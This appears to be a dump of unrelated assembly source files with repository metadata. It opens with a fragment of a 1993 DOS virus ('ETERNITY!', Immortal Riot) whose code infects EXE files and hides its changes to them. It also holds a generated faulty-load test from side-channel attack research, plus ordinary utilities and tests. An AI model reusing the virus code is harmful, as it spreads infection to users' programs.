sub ax,word ptr ds:[Exe_header-Virus_Start+8+bp]
mov word ptr ds:[Exe_header-Virus_Start+16+bp],ax
mov word ptr ds:[Exe_header-Virus_Start+14+bp],dx
mov word ptr ds:[Exe_header-Virus_Start+12+bp],'RI'
mov ax,4200 ; Position file-pointer to BOF
xor cx,cx
xor dx,dx
int 21
mov ah,40 ; Write header
mov cx,1c
; mov dx,offset Exe_header-Virus_Start
; add dx,bp
lea dx,[bp+exe_header-virus_start]
int 21
jc write_error
no_exe:
jmp close_it ;
infected:
dec di
close_it:
;restore date
lea si,[bp+own_dta-virus_start+16h]
mov cx,word ptr [si]
mov dx,word ptr [si+2]
mov ax,5701h
int 21h
mov ah,3e ;close file
int 21
; file attrib
mov ax,4301h
xor ch,ch
lea bx,[bp+own_dta-virus_start+15h]
mov cl,[bx]
lea dx,[bp+own_dta-virus_start+1eh]
int 21h
Sick_or_EXE: mov ah,4f ;find next in dir until all is found
inc di
cmp di,3
jae finnished_infection
jmp look4victim
write_error: ; Here you can test whats went wrong.
read_error: ; This is just for debugging purpose.
cant_open_file: ; These entries are equal to eachother
no_victim_found: ; but could be changed if you need to test something.
finnished_infection:
;restore dir
lea dx,[bp+dir-virus_start]
mov ah,03bh
int 21
quit:
pop ds
retf
note db "[ETERNITY!] (c) '93 The Unforgiven/Immortal Riot "
dot_dot db '..',0
file_match db '*.EXE',0 ; Files to infect.
Exe_header db 16 DUP(0)
dw 0fff0 ; Just for this com file.
db 4 DUP(0)
Own_Dta db 02bh DUP(0)
dir db 65 dup (?)
Virus_End EQU $
end_of_virus:
end Virus_Start | 22.677291 | 78 | 0.663212 |
273305d1dc70fb060d1386cc81c9635ac6a1caca | 195 | asm | Assembly | mc-sema/validator/x86/tests/AND16i16.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | 2 | 2021-08-07T16:21:29.000Z | 2021-11-17T10:58:37.000Z | mc-sema/validator/x86/tests/AND16i16.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | mc-sema/validator/x86/tests/AND16i16.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=FLAG_AF
;TEST_FILE_META_END
; AND16i16
mov ax, 0x7
;TEST_BEGIN_RECORDING
and ax, 0xeeee
;TEST_END_RECORDING
| 16.25 | 25 | 0.753846 |
e3186eaf193856ece6a1d81f22e9c41dfdab70d5 | 6,085 | asm | Assembly | main.asm | chuckeles/assembler-project | 3223e423c9f5c37d80d8ac81ffdd487767d38af3 | [
"MIT"
] | null | null | null | main.asm | chuckeles/assembler-project | 3223e423c9f5c37d80d8ac81ffdd487767d38af3 | [
"MIT"
] | null | null | null | main.asm | chuckeles/assembler-project | 3223e423c9f5c37d80d8ac81ffdd487767d38af3 | [
"MIT"
] | null | null | null | name main
; this is the main project file
; it handles the menu and the basic logic, like reading
; the user input
; stack is defined here as well
; includes
include macros.asm
.model small
.stack
.data
; the status items, printed before the menu
status_title db 'STATUS', 0
status_subtitle db 'Martin Jakubik (xjakubikm), Assignment 9', 0
status_filename db 'Entered file name: ', 0
status_date db 'Current date: ', 0
status_time db 'Current time: ', 0
; the main menu items
menu_title db 'MAIN MENU', 0
menu_filename db '[f] Change the file name', 0
menu_print db '[p] Print the file contents', 0
menu_size db '[s] Print the file size', 0
menu_numbers db '[n] Print those lines that contain a number', 0
menu_exit db '[q] Quit the program', 0
menu_prompt db 'Choose an option: ', 0
menu_unknown db 'Invalid option! Choose better next time...', 0
; filename
filename_prompt db 'Enter the new file name: ', 0
filename_confirm db 'Filename changed.', 0
filename_max db 127
filename_size db 0
filename_buffer db 128 dup(0)
; filesize
filesize_name db 'File name: ', 0
filesize_size db 'File size: ', 0
.code
; imports
extrn open_file : proc
extrn close_file : proc
extrn print_string : proc
extrn print_date : proc
extrn print_time : proc
extrn print_file_size : proc
extrn print_current_directory : proc
extrn print_lines_with_number : proc
extrn print_file : proc
extrn read_char : proc
extrn read_string : proc
; prints the status and the main menu
print_menu proc
; setup ds
mov ax, seg menu_title
mov ds, ax
; clear the screen
clear
; print the status
write_line status_title
write_line status_subtitle
; write the current file name with path
write status_filename
call print_current_directory
write_line filename_buffer
; write the current date
write status_date
call print_date
end_line
; write the current time
write status_time
call print_time
end_line
; space
end_line
; print the menu
write_line menu_title
write_line menu_filename
write_line menu_print
write_line menu_size
write_line menu_numbers
write_line menu_exit
; space
end_line
; print the prompt
write menu_prompt
; done, return
ret
endp
; reads the user input and executes the appropriate action
; after returning, when ax is 0, the program should end, otherwise it should loop
read_execute proc
; read the character
call read_char
; 'q' means end the program
cmp al, 'q'
jne read_execute_x
; return 0
mov ax, 0
ret
read_execute_x:
; 'f' prompts for the file name
cmp al, 'f'
jne read_execute_f
; print the prompt
clear
write filename_prompt
; read the file name
read filename_max
; confirm
end_line
write_line filename_confirm
; wait for a character
call read_char
; done, loop
mov ax, 1
ret
read_execute_f:
; 's' prints the file size
cmp al, 's'
jne read_execute_s
; open the file
clear
push offset filename_buffer
call open_file
; check if there was an error
cmp ax, 1
je read_execute_s_no_error
; there was an error
; it is already printed, wait for input and loop
call read_char
mov ax, 1
ret
read_execute_s_no_error:
; print the file name
write filesize_name
write_line filename_buffer
; print the size
write filesize_size
call print_file_size
; close the file
call close_file
; wait for input
call read_char
; done, loop
mov ax, 1
ret
read_execute_s:
; 'p' prints the file contents
cmp al, 'p'
jne read_execute_p
; open the file
clear
push offset filename_buffer
call open_file
; check if there was an error
cmp ax, 1
je read_execute_p_no_error
; there was an error
; it is already printed, wait for input and loop
call read_char
mov ax, 1
ret
read_execute_p_no_error:
; print the file content
call print_file
; close the file
call close_file
; wait for input
call read_char
; done, loop
mov ax, 1
ret
read_execute_p:
; 'n' prints the file contents
cmp al, 'n'
jne read_execute_n
; open the file
clear
push offset filename_buffer
call open_file
; check if there was an error
cmp ax, 1
je read_execute_n_no_error
; there was an error
; it is already printed, wait for input and loop
call read_char
mov ax, 1
ret
read_execute_n_no_error:
; print the file content
call print_lines_with_number
; close the file
call close_file
; wait for input
call read_char
; done, loop
mov ax, 1
ret
read_execute_n:
; unknown option
end_line
write_line menu_unknown
; wait for a character
call read_char
; return 1 to loop
mov ax, 1
ret
endp
; program entry point
start:
; print the menu
call print_menu
; read user input and execute action
call read_execute
; loop if non-0 is returned
cmp ax, 0
jne start
; terminate the program with exit code 0
mov ah, 4ch
mov al, 0
int 21h
end start
end
| 20.082508 | 85 | 0.585538 |
0fa596df7a950d96e37777f3b5890277f2cb6d07 | 793 | asm | Assembly | libsrc/strings/memcmp_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/strings/memcmp_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/strings/memcmp_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | ; int __CALLEE__ memcmp_callee(void *s1, void *s2, uint n)
; compare first n chars of s1 and s2
; 11.1999 djm, 12.2006 aralbrec
PUBLIC memcmp_callee
PUBLIC ASMDISP_MEMCMP_CALLEE
EXTERN rcmx_cpi
.memcmp_callee
pop hl
pop bc
pop de
ex (sp),hl
; enter : bc = uint n
; de = void *s2
; hl = void *s1
; exit : if s==ct : hl = 0, Z flag set
; if s<<ct : hl < 0, NC+NZ flag set
; if s>>ct : hl > 0, C+NZ flag set
; uses : af, bc, de, hl
.asmentry
ld a,b
or c
jr z, equal
.loop
ld a,(de)
inc de
cpi
jr nz, different
jp pe, loop
.equal
ld h,b
ld l,c
ret
.different
dec hl
cp (hl)
ld h,$80
ret nc
dec h
ret
DEFC ASMDISP_MEMCMP_CALLEE = # asmentry - memcmp_callee
| 14.418182 | 58 | 0.557377 |
50a063c56114ffafa06aec50609f6ce18fd447db | 711 | asm | Assembly | tasm/flow.asm | yellingintothefan/chip8 | 33aa239d549c7fd5f22ec64f7983b75faf82135f | [
"MIT"
] | 91 | 2018-02-05T22:01:41.000Z | 2022-02-18T12:25:27.000Z | tasm/flow.asm | yellingintothefan/chip8 | 33aa239d549c7fd5f22ec64f7983b75faf82135f | [
"MIT"
] | 3 | 2018-04-09T08:53:13.000Z | 2021-09-04T20:25:43.000Z | tasm/flow.asm | yellingintothefan/chip8 | 33aa239d549c7fd5f22ec64f7983b75faf82135f | [
"MIT"
] | 8 | 2018-09-14T07:47:06.000Z | 2021-11-09T13:52:21.000Z | AFTER_RESET:
;----------------------------;
; JP V0, addr ;
;----------------------------;
LD V0, 0x02
; Jumps to the return of JP_TEST
JP V0, JP_TEST
JP_TEST:
;----------------------------;
; JP addr ;
;----------------------------;
JP AFTER_RESET
;----------------------------;
; JP V0, addr ;
;----------------------------;
RET
main:
; VE, if non-zero, indicates test failure
LD VE, 0x00
; Test all
CALL JP_TEST
; Finish - Display VE: the test failure status
LD F, VE
LD V0, 0x01
LD V1, 0x01
DRW V0, V1, 0x5
; All is well; stay here forever
END:
JP END
| 22.21875 | 50 | 0.364276 |
7f7c5f32451733abad804cd7755c078d102603a7 | 5,970 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_8150_2864.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_8150_2864.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_8150_2864.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r15
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1c2b7, %rdx
nop
nop
dec %r12
movw $0x6162, (%rdx)
dec %rcx
lea addresses_D_ht+0x1bf3f, %r12
nop
nop
nop
nop
add %r14, %r14
movups (%r12), %xmm5
vpextrq $1, %xmm5, %r11
nop
nop
nop
cmp $45732, %rcx
lea addresses_WC_ht+0x5ccf, %rsi
lea addresses_D_ht+0x441f, %rdi
cmp $35451, %r11
mov $44, %rcx
rep movsq
nop
nop
dec %rdx
lea addresses_WT_ht+0x14747, %r12
nop
nop
nop
cmp %rsi, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, (%r12)
nop
nop
xor $40659, %r11
lea addresses_A_ht+0x13a1, %rsi
nop
nop
nop
nop
nop
add %r14, %r14
movups (%rsi), %xmm6
vpextrq $0, %xmm6, %rdx
nop
add $30862, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %r8
push %rcx
push %rdx
push %rsi
// Store
lea addresses_US+0x1c5f, %rsi
nop
nop
nop
nop
nop
and $62369, %rcx
mov $0x5152535455565758, %r15
movq %r15, %xmm0
movaps %xmm0, (%rsi)
nop
nop
nop
nop
cmp $7792, %rcx
// Store
lea addresses_WC+0xab2f, %rdx
nop
nop
nop
dec %r11
mov $0x5152535455565758, %r13
movq %r13, %xmm7
movups %xmm7, (%rdx)
nop
xor $39063, %r15
// Store
lea addresses_A+0x18073, %rcx
nop
nop
xor %r15, %r15
mov $0x5152535455565758, %rsi
movq %rsi, %xmm1
movups %xmm1, (%rcx)
nop
nop
nop
nop
nop
inc %r13
// Faulty Load
mov $0x4bedac0000000f2f, %r15
nop
nop
nop
nop
nop
inc %r8
movb (%r15), %cl
lea oracles, %r8
and $0xff, %rcx
shlq $12, %rcx
mov (%r8,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_US', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': True, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 8150}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 36.851852 | 2,999 | 0.657621 |
98afeda186c29f66aa979d4d1c12fa14c4904721 | 624 | asm | Assembly | programs/oeis/098/A098021.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/098/A098021.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/098/A098021.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A098021: Positions of 0's in the zero-one sequence [nr+2r]-[nr]-[2r], where r=sqrt(2) and [ ]=floor; see A187967.
; 5,10,17,22,29,34,39,46,51,58,63,68,75,80,87,92,99,104,109,116,121,128,133,138,145,150,157,162,169,174,179,186,191,198,203,208,215,220,227,232,237,244,249,256,261,268,273,278,285,290,297,302,307,314,319,326,331,338,343,348,355,360,367,372,377,384,389,396,401,406,413,418,425,430,437,442,447,454,459,466,471,476,483,488,495,500,507,512,517,524,529,536,541,546,553,558,565,570,577,582
mov $1,$0
seq $0,3151 ; Beatty sequence for 1+sqrt(2); a(n) = floor(n*(1+sqrt(2))).
mov $2,$1
add $2,$0
add $0,$2
add $0,1
| 62.4 | 383 | 0.6875 |
8c9b854614970f9af62dfaef89bec33a9f7798bf | 5,511 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1519.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1519.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1519.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x7e96, %rdx
nop
nop
nop
nop
nop
cmp $49245, %rcx
mov $0x6162636465666768, %r9
movq %r9, %xmm2
movups %xmm2, (%rdx)
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_WC_ht+0x7306, %rax
nop
and %rdx, %rdx
movups (%rax), %xmm6
vpextrq $1, %xmm6, %r10
nop
nop
add %rcx, %rcx
lea addresses_WT_ht+0x1cff6, %rdi
nop
nop
cmp %r10, %r10
movups (%rdi), %xmm3
vpextrq $1, %xmm3, %r9
nop
nop
sub $18579, %rdx
lea addresses_WT_ht+0xa876, %rsi
lea addresses_WT_ht+0x7476, %rdi
nop
cmp %r9, %r9
mov $45, %rcx
rep movsw
nop
nop
nop
nop
and $53544, %rdi
lea addresses_WC_ht+0x19782, %rsi
lea addresses_WT_ht+0x5cf6, %rdi
nop
nop
nop
nop
nop
sub %rax, %rax
mov $109, %rcx
rep movsq
cmp $46286, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %rbx
push %rdx
push %rsi
// Store
lea addresses_normal+0x120d6, %rsi
add %r15, %r15
mov $0x5152535455565758, %rbx
movq %rbx, %xmm0
vmovaps %ymm0, (%rsi)
nop
sub $63637, %r15
// Faulty Load
lea addresses_D+0x16b76, %r15
nop
nop
nop
nop
nop
dec %r12
movups (%r15), %xmm1
vpextrq $0, %xmm1, %rbx
lea oracles, %r12
and $0xff, %rbx
shlq $12, %rbx
mov (%r12,%rbx,1), %rbx
pop %rsi
pop %rdx
pop %rbx
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': True, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 42.72093 | 2,999 | 0.66086 |
2b9590cb45b42655d4913b341848bd083a6f2284 | 603 | asm | Assembly | libsrc/target/svi/svibios/svi_gttrig.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/target/svi/svibios/svi_gttrig.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/target/svi/svibios/svi_gttrig.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; Spectravideo SVI specific routines
; by Stefano Bodrato
; MSX emulation layer
;
; GTTRIG
;
;
; $Id: svi_gttrig.asm $
;
SECTION code_clib
PUBLIC GTTRIG
EXTERN svi_slstick
INCLUDE "target/svi/def/svi.def"
GTTRIG:
; dec a
; jp m,getspace
push af
and 1
call svi_slstick
pop bc
dec b
dec b
ld b,$10
jp m,trig1
ld b,' '
trig1: and b
trig2: sub 1 ; 255 if a=0, otherwise 0
sbc a,a
ret
;getspace:
; di
; in a,(PPI_C)
; and $f0
; ld c,a
; add 8 ; keyboard row #8
; out (PPI_COUT),a
; in a,(PPI_B) ; bits: RDULxxxF Fire is the SPACE key
; ei
;
; and 1
; jr trig2
| 11.166667 | 54 | 0.626866 |
50d77c72f296555fb9a8eed4c3d555900ba18647 | 19,551 | asm | Assembly | Library/Text/TextStorage/tsExternal.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Text/TextStorage/tsExternal.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Text/TextStorage/tsExternal.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
